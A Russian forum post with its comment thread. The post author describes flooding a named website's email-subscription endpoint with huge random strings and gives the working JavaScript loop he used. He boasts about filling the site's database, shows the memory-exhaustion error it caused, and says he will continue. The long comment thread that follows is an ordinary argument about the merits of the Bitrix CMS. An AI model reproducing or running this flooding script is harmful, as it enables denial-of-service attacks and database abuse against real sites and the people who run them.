7244

Шлём `Привет` кэшбери

Вижу пост

Не долго парясь нахожу в интернете их сайт http://gdc.group


Ооокей... Смотрим что там и как. И оказывается что фильтр почты, которую к ним на рассылку можно закинуть - фиктивный. Те если отправить руками то можно записать что угодно.


http://gdc.group/files/action/ajax.php?email=1


Методом перебора узнаём что под поле почты выделено 32милиионов(2^25) символов строка... А это 32 мегабайта.


Пишем небольшой скрипт


i=0; spam = () => { $.post('http://gdc.group/files/action/ajax.php', { email: Array(2**25).fill().map(()=>{ return String.fromCodePoint(~~(Math.random(1, 255) * 255)) }).join('') }, (a)=>{console.log(++i, a); spam();}); }; spam();

Хотя на деле лучше степень 20 гдето, потому как на лимите там памяти не хватает.


Ну и итого всё..) Память у сервиса кончилась, удачи разрабам разгребать говно и фиксить дыры..)

Как минимум гигов на 10 в базу я поднасрать успел, пока память не закончилась... Если ребутнут не пофиксив, продолжим...


Такие успешные парни, а найти разраба не из студентов не смогли =\


Теперь всегда так:

Fatal error: Allowed memory size of 268435456 bytes exhausted (tried to allocate 4304128 bytes) in /home/bitrix/ext_www/gdc.group/files/action/ajax.php on line 8

Ещё и битрикс... Фи...

Вы смотрите срез комментариев. Показать все
0
Автор поста оценил этот комментарий
Прошу прощения, можно дилетантский вопрос? А чем плох Битрикс? И что лучше выбрать вместо него?
раскрыть ветку (24)
0
Автор поста оценил этот комментарий

На деле вопрос задачи. Это из серии - чем плох хуёвый гаечный ключ? Всем, но если тебе надо прикрутить раз в год гайку, то он лучше чем офигительный который прослужит сто лет.

Битрикс - платформа для быстрого клепания сайтов и она вяжется с 1C

Если нужен не сайт сделанный за неделю, то лучше собирать с нуля на фреймворке какомнить.

Смотря что вам надо.

раскрыть ветку (23)
3
Автор поста оценил этот комментарий

Четыре года в webe, исключительно на битриксе. С другими фреймворками не работал, но битрикс пока устраивает всем. Особенно ценой, движок дорогой, и в основном порог входа среди клиентов высокий. Поэтому нет таких заказчиков "В 5000 не уложимся да?"

Честно скажу, сравнивать не с чем, но явных минусов в данной платформе не вижу. Кого то воротит от логики, по которой расположены компоненты, но за 4 года поднаторел и уже наизусть все знаю.

Да и если честно, клиентам нравится админка, интуитивно удобная, легко забивать/редактировать контент

раскрыть ветку (17)
Автор поста оценил этот комментарий

Битрикс - это не фреймворк, а CMS.

Соответственно про то и речь, этим не занимаются компетентные люди

Это как воротить говно лопатой, будут платить - найдутся люди.

раскрыть ветку (16)
1
Автор поста оценил этот комментарий

Какой опыт  работы с D7? Или как всегда, слышу слово Битрикс = автоматом какашка?


P.S> Если уж быть пипец дотошным, то среди большинства CMS, битрикс наиболее удобен и безопасен. Если смотреть в сторону кодовой базы, то новое ядро D7 по удобству подходит к тому же yii2. Если вы конкретно чего-то не знаете или не умеете, то это только ваша проблема

раскрыть ветку (15)
0
DELETED
Автор поста оценил этот комментарий

на счет безопасности вы очень сильно загнули.

раскрыть ветку (3)
1
Автор поста оценил этот комментарий

Назовите пример CMS, где безопасность реализована лучше.

раскрыть ветку (2)
0
DELETED
Автор поста оценил этот комментарий

та которая написана самим. Но bitrix, я вас умоляю, я её ставлю на одно место с wp. (не настаиваю на истине, это субъективное мнение). Чего только стоит дыра с xss которую они 2 года закрыть не могут

раскрыть ветку (1)
1
Автор поста оценил этот комментарий

Как и следовало ожидать, вижу слово битрикс = поливаю говном.

P.S> а где там xss? небось в каком-нибудь шаблоне компонента, который так сложно переписать самому)) И прям ужас, небось она пассивная xss

0
Автор поста оценил этот комментарий

Потому что это узкоспециализированный херовый инструмент.

Если надо что-то собрать быстро и ок, то норм, имеет право на жизнь.Поддерживать его - не вариант.

Юи - это не CMS опять же. Удобство?.. Ну блин, если не умеешь пользоваться фреймворками - все будет хреново.

Вы назовите плюсы битрикса?

раскрыть ветку (1)
1
Автор поста оценил этот комментарий

Повторюсь, опыт работы с D7 есть или это разговор о какой-то там древней версии битрикса в отрыве от реальной практики?

Автор поста оценил этот комментарий

Наиболее удобен и безопасен среди кого? WordPress? Joomla? MODX?

Хватит держать в уме, что сейчас есть только 4 эти платформы.


Вы встречали хоть раз профессиональные проекты, с кастомными админками заточенными строго под разрабатывающийся проект?


Битрикс - это развернуть сайт, связать с 1С, и получить процент с продажи лицензии.


Тонны тысяч файлов, ужасная файловая структура. Внутренний код движка не имеет общего вида, половина файлов написана в одном стиле - другая в другом.


Мне жаль ваши 4 года потраченные на Битрикс.

раскрыть ветку (8)
0
Автор поста оценил этот комментарий

Вы встречали хоть раз профессиональные проекты, с кастомными админками заточенными строго под разрабатывающийся проект?

Битрикс и интернет-магазин это синонимы.

Что такое профессиональный проект?

раскрыть ветку (3)
0
Автор поста оценил этот комментарий

Битрикс и интернет магазин это синонимы? оО С каких пор?

0
Автор поста оценил этот комментарий
Битрикс и интернет-магазин это синонимы.

Это вы так на рекламной страничке битрикса прочитали?

раскрыть ветку (1)
0
Автор поста оценил этот комментарий

Это реалии работы.

0
Автор поста оценил этот комментарий

Вот я и спрашиваю, приведите мне пример CMS, не самописа на базе какого-то фреймворка, а именно готовое решение, которое будет в плане безопасности реализовано лучше.

Встречал.


Эмм, простите, а в других случаях не нужно разворачивать сайт? в ИМ не нужна связь с 1С(или другим складом)? И не надо мешать всё в кучу. Оставьте проценты с продаж тем, кто продаёт лицензии.

Тонны тысяч файлов = каких? файлов ядра или файлов сайта? вы не поверите, но в файлах ядра написаны модули с функционалом.

Ужасная файловая структура. По мнению кого? Я конечно понимаю, что расположение ядра отличается от того, что получается после установки чего-то через composer, но это коммерческое решение и оно не поставляется таким образом.

Внутренний код движка не имеет общего вида. Имеет. Может в каких-то версиях допотопных и было так, но сейчас там всё по другому.

половина файлов написана в одном стиле - другая в другом.Это следствие перехода на новое ядро D7. Не бойтесь, скоро будет всё Переписано на новый лад.

Мне жаль вашу ограниченность и нежелание понять, что фреймворк(от битрикса D7) это инструмент. И если вы не умеете им пользоваться, то это не значит, что он гавно.

раскрыть ветку (2)
0
Автор поста оценил этот комментарий
Вот я и спрашиваю, приведите мне пример CMS, не самописа на базе какого-то фреймворка, а именно готовое решение, которое будет в плане безопасности реализовано лучше.

OctoberCMS, ядро Laravel. CraftCMS ядро Yii.

DjangoCMS ядро Django(python) и другие...


Тонны тысяч файлов = каких? файлов ядра или файлов сайта? вы не поверите, но в файлах ядра написаны модули с функционалом.

Файл, который просто делает requre другого файла, это не функционал - лишь мусор. Такого там полно. Делать скриншоты не буду, сейчас не найду. Когда чистил сайт клиента от вирусов, постоянно видел это дерьмо там в недрах ядра.


Я встречался и встречаюсь с сайтами на битриксе до сих пор. С новыми, со старыми, любыми. Везде все как из под палки.


Внутренний код движка не имеет общего вида. Имеет. Может в каких-то версиях допотопных и было так, но сейчас там всё по другому.

половина файлов написана в одном стиле - другая в другом.Это следствие перехода на новое ядро D7

Сначала пишите что все в одном стиле, и после этого сразу что да, все разное.


Не бойтесь, скоро будет всё Переписано на новый лад.

Я это слышу от вестников Битрикса уже какой год.


"Завтра будет лучше"

"D7 Будет лучше, только подожди"


Зачем вы пытаетесь защитить мусор, который живет лишь из-за того что студии варят на нем проценты?


Любые здравые разработчики, давно сидят на нормальных фреймворках, и не только Yii или Laravel.


К чему холливар о охуенности фреймворка D7. Если только слепой даун не увидит его отсталость от любого другого фрейма, который нормально поддерживается сообществом?


Коммерческий? Что это ему дает? Неуязвимость к высказываниям "что фрейм говно"?


Поставьте даже такие вещи как версионность, стиль кода, поддержка сообществом, в сравнение с другими фреймворками, он везде будет проигрывать.

раскрыть ветку (1)
0
Автор поста оценил этот комментарий

Аминь.

Автор поста оценил этот комментарий

Аминь

0
Автор поста оценил этот комментарий

А, уловила. Спасибо.

раскрыть ветку (4)
0
Автор поста оценил этот комментарий

Можете стукнуть в какой либо из месенджеров и описать зачем вам сайт. Подскажу на чём это лучше делать в принципе и как подходить к задаче.

*вы как программист или как заказчик вообще смотрите?

Как заказчик во-первых выходит так, что если вы хотите сделать сайт и забыть, то битрикс норм, но блин если хотите внести правки выливается в лютые цены. Каждый разраб туда смотрит как с нуля и охреневает.

раскрыть ветку (3)
0
Автор поста оценил этот комментарий

Лучше сразу думать о будущем) Три года в web разработке - ни разу не пользовался битриксом, так и не довелось посмотреть - что находится под капотом. Попал под другую раздачу - сделали достаточно сложный портал на dle (кто скажет, что это нормальная cms - позову геолога), нововведения росли, писал их какой-то программист в таком же стиле кода, потом пропал, но посещаемость росла, да и баги которые остались от программиста - давали о себе знать. Сначала я что-то правил, оптимизировал запросы и.т.д., но эта убогая платная cms - только ставила палки в колеса. В итоге пол года, точно, ушло, чтобы уйти от dle к связке fastroute + di + blade + простая orm, 99% кода переписывалось. Фреймворк взять было нельзя - не известно было, выдержит ли? А зря время тратить не хотелось, поэтому, сначала, все собиралось в классы, помаленьку подключались зависимости, писалось - рефакторилось и по кругу. Сколько денег можно было сэкономить, если бы сразу выбрали правильный инструмент.

P.S Иногда листаю интернет, и вижу темы о - "на чем сделать сайт", и ответы на них - "для большой нагрузки берите dle, она легкая", даже в 2018 пишут такую чушь... Хочется посмотреть этим людям в глаза и попросить показать, как у них все это будет работать не на одной статитке при 8ккк+ посещений в сутки, если там банальная, выборка по категориям проходит через regexp, а разработчики кроме ctr+c + ctrl+v ничего не используют для повторения кода...

раскрыть ветку (2)
1
Автор поста оценил этот комментарий
В Битриксе плохо то, что в нем 50к файлов одного только Битрикса, что, конечно, даёт не очень шуструю работу, но если нужен готовый интернет-магазин быстро и без запаривания - то сойдёт, тем более там интеграция с 1с в комплекте. Идеально для менеджеров, которым один раз все настроили, а они через конструктор только странички, да товары добавляют/удаляют/редактируют, ибо с этим там и ребенок разберётся. Если же нужно что-то менее стандартное - то лучше смотреть в сторону обычных mvc-фреймворков, типа yii или laravel, в Битриксе тоже можно сделать свои модули с mvc и даже не пользоваться тормозными инфоблоками (местный аналог бд, в принципе тоже удобен для менеджеров, далёких от компа, ибо там куча готового функционала по добавлению разных типов данных, но довольно тормозная штука), но зачем тогда держать весь этот хлам в виде стандартного функционала, который не используется? Плюс к тому, в Битриксе это все ещё и менее удобно делать с точки зрения программиста. Но да, для организации, которая один раз наняла программиста, чтобы он все ей поставил и настроил, а дальше заполнять сайт контентом будет девочка-менеджер - удобно и быстро, но, правда, платно. Кстати, у лохотронщиков - не Битрикс, а только веб-окружение их стоит, видимо, чтобы не париться с настройкой сервера
0
Автор поста оценил этот комментарий

Да блин, когда большое количество предполагается там всплывают шардинги, лютые настройки итп, вот там веселье ))

Вы смотрите срез комментариев. Чтобы написать комментарий, перейдите к общему списку